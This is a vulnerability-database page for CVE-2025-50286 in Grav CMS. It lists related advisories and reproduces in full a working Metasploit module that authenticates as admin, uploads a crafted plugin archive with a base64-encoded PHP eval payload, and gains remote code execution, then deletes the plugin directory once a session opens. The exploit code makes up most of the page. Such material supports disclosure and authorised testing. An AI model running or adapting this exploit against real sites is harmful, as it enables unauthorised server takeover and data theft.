| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| CVE-2025-50286 | 6 Aug 202500:00 | โ | attackerkb | |
| CVE-2025-50286 | 6 Aug 202517:50 | โ | circl | |
| Grav CMS ๅฎๅ จๆผๆด | 6 Aug 202500:00 | โ | cnnvd | |
| Grav CMS Remote Code Execution Vulnerability | 18 Aug 202500:00 | โ | cnvd | |
| CVE-2025-50286 | 6 Aug 202500:00 | โ | cve | |
| CVE-2025-50286 | 6 Aug 202500:00 | โ | cvelist | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Getgrav Grav | 28 Feb 202617:39 | โ | githubexploit | |
| Exploit for CVE-2025-50286 | 5 Aug 202501:46 | โ | githubexploit | |
| Grav CMS 1.7.48 - Remote Code Execution (RCE) | 11 Aug 202500:00 | โ | exploitdb | |
| EUVD-2025-23842 | 3 Oct 202520:07 | โ | euvd |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Grav CMS Admin Direct Install Authenticated Plugin Upload RCE',
'Description' => %q{
Grav CMS version <=1.7.49.5 with Admin Plugin version <=1.10.49.3 is
vulnerable to authenticated remote code execution via the
"Direct Install" feature in the administrative interface.
An authenticated administrator can upload a crafted plugin
archive containing arbitrary PHP code. The uploaded plugin
is written to disk and executed by the application, allowing
command execution in the context of the web server user.
This module authenticates to the admin panel, uploads a
malicious plugin via /admin/tools/direct-install, and
triggers execution of the embedded payload.
},
'License' => MSF_LICENSE,
'Author' => [
'binneko', # Original PoC / EDB
'x1o3' # Metasploit module
],
'References' => [
['CVE', '2025-50286'],
['EDB', '52402'],
['URL', 'https://github.com/getgrav/grav'],
],
'DisclosureDate' => '2025-08-07',
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [
[
'PHP Payload',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Base Path', '/']),
OptString.new('USERNAME', [true, 'Admin username']),
OptString.new('PASSWORD', [true, 'Admin password']),
]
)
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin'),
'keep_cookies' => true
)
return CheckCode::Unknown('Connection failed') unless res
return CheckCode::Unknown("Unexpected response code: #{res.code}") unless res.code == 200
html = res.get_html_document
return CheckCode::Unknown('Could not parse HTML') unless html
return CheckCode::Safe('Target does not appear to be a Grav installation') unless grav_installation?(html)
return CheckCode::Detected('Grav detected but login form not accessible') unless login_form_present?(html)
cms_version, admin_version = get_version_after_login
return CheckCode::Detected('Grav CMS detected but version could not be determined') unless cms_version
return CheckCode::Detected('Admin Plugin version detected but could not be determined') unless admin_version
version = Rex::Version.new(cms_version)
if version <= Rex::Version.new('1.7.49.5') && version >= Rex::Version.new('1.1.0')
vuln = true
end
if admin_version
plugin_version = Rex::Version.new(admin_version)
if plugin_version <= Rex::Version.new('1.10.49.3') && plugin_version >= Rex::Version.new('1.1.0') && vuln
return CheckCode::Appears("\n - Grav CMS #{version} is vulnerable\n - Admin Plugin v#{plugin_version} is vulnerable")
end
end
return CheckCode::Safe("Grav CMS #{cms_version} is not vulnerable") unless vuln
CheckCode::Safe("Admin Plugin v#{plugin_version} is not vulnerable")
end
def exploit
print_status('Authenticating to Grav admin...')
login
plugin_name = (Rex::Text.rand_text_alpha(1) + Rex::Text.rand_text_alphanumeric(17)).downcase
@name = plugin_name
zip_data = build_plugin_zip(plugin_name)
print_status('Uploading plugin via Direct Install...')
upload_plugin(zip_data, plugin_name)
end
def grav_installation?(html)
grav_checks = [
html.at('//*[@data-gpm-grav]'),
html.at('//*[@data-grav-field]'),
html.at('//*[@data-grav-disabled]'),
html.at('//*[@data-grav-default]')
]
grav_checks.count { |elem| !elem.nil? } >= 2
end
def login_form_present?(html)
username_input = html.at('input[@name="data[username]"]')
password_input = html.at('input[@name="data[password]"]')
username_input && password_input
end
def get_version_after_login
result = authenticate
return nil unless result == :success || result == :already_authenticated
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin'),
'keep_cookies' => true
)
return nil unless res && res.code == 200
html = res.get_html_document
return nil unless html
cms_elem = html.at('span.grav-version')
cms_version = cms_elem.text.strip
parent_text = cms_elem.parent.text.gsub(/\s+/, ' ')
admin_version = parent_text[/Admin v([\d.]+)/, 1]
return nil unless cms_version
[cms_version, admin_version]
end
def authenticate
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin'),
'keep_cookies' => true
)
return :connection_failed unless res
html = res.get_html_document
return :connection_failed unless html
nonce = html.at('input[@name="login-nonce"]/@value')
return :already_authenticated if nonce.nil? && html.at('span.grav-version')
return :connection_failed unless nonce
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin'),
'keep_cookies' => true,
'vars_post' => {
'data[username]' => datastore['USERNAME'],
'data[password]' => datastore['PASSWORD'],
'task' => 'login',
'login-nonce' => nonce.text
}
)
return :connection_failed unless res
if [302, 303].include?(res.code)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin'),
'keep_cookies' => true
)
return :connection_failed unless res
end
return :login_failed if res.body.include?('name="login-nonce"')
:success
end
def login
print_status('Authenticating...')
result = authenticate
case result
when :already_authenticated
print_good('Already authenticated')
when :success
print_good('Login successful')
when :connection_failed
fail_with(Failure::Unreachable, 'Connection failed')
when :login_failed
fail_with(Failure::NoAccess, 'Login failed')
else
fail_with(Failure::UnexpectedReply, 'Unexpected authentication error')
end
end
def build_plugin_zip(plugin_name)
php_code = generate_php_plugin(plugin_name)
zip = Rex::Zip::Archive.new
zip.add_file("#{plugin_name}plugin/", '')
zip.add_file("#{plugin_name}plugin/#{plugin_name}plugin.php", php_code)
zip.add_file("#{plugin_name}plugin/blueprints.yaml",
"name: #{plugin_name.capitalize}\ntype: plugin\nversion: 1.0.0\ndescription: Cute plugin\nform:\n fields: []")
zip.add_file("#{plugin_name}plugin/#{plugin_name}plugin.yaml",
"enabled: true\ntext_var: Text by **#{plugin_name.capitalize} Plugin** plugin")
zip.pack
end
def generate_php_plugin(plugin_name)
b64_payload = Rex::Text.encode_base64(payload.encoded)
class_name = "#{plugin_name.capitalize}pluginPlugin"
Rex::Text.rand_text_alpha(8)
<<~PHP
<?php
namespace Grav\\Plugin;
use Grav\\Common\\Plugin;
class #{class_name} extends Plugin
{
public static function getSubscribedEvents()
{
return [
'onPagesInitialized' => ['onPagesInitialized', 0]
];
}
public function onPagesInitialized()
{
@eval(base64_decode('#{b64_payload}'));
}
}
PHP
end
def build_multipart_body(nonce, zip_data, plugin_name)
mime = Rex::MIME::Message.new
mime.add_part('directInstall', nil, nil, 'form-data; name="task"')
mime.add_part(nonce, nil, nil, 'form-data; name="admin-nonce"')
mime.add_part(
zip_data,
'application/zip',
'binary',
"form-data; name=\"uploaded_file\"; filename=\"#{plugin_name}.zip\""
)
mime
end
def upload_plugin(zip_data, plugin_name)
install_uri = normalize_uri(target_uri.path, 'admin', 'tools', 'direct-install')
res = send_request_cgi('method' => 'GET', 'uri' => install_uri, 'keep_cookies' => true)
fail_with(Failure::Unreachable, 'No response fetching install page') unless res
fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200
nonce = res.body.match(/name="admin-nonce"\s+value="([^"]+)"/)&.captures&.first
fail_with(Failure::UnexpectedReply, 'Could not extract admin nonce') unless nonce
mime = build_multipart_body(nonce, zip_data, plugin_name)
res2 = send_request_cgi(
'method' => 'POST',
'uri' => install_uri,
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)
fail_with(Failure::Unreachable, 'No response during plugin upload') unless res2
if [301, 302, 303].include?(res2.code)
vprint_status("Upload redirected (#{res2.code}), following...")
send_request_cgi('method' => 'GET', 'uri' => install_uri, 'keep_cookies' => true)
end
end
def on_new_session(session)
return unless session.type == 'meterpreter'
super
plugin_dir = "user/plugins/#{@name}plugin"
print_status("Cleaning up plugin directory: #{plugin_dir}")
session.sys.process.execute("rm -rf #{plugin_dir}")
print_good('Plugin directory removed')
end
endData
Build on a solid foundation withย Vulners data
Weย provide theย essential building blocks forย cybersecurity solutions withย comprehensive, structured, andย constantly updated vulnerability andย exploits data
Api
Power your application withย Vulners API
The Vulners REST API offers reliable, high-performance access toย vulnerabilityย intelligence, withย 99.9%ย SLAย uptime andย CDN-backed data delivery forย seamlessย global access
App
Assess and manage vulnerabilities withย Vulnersย tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation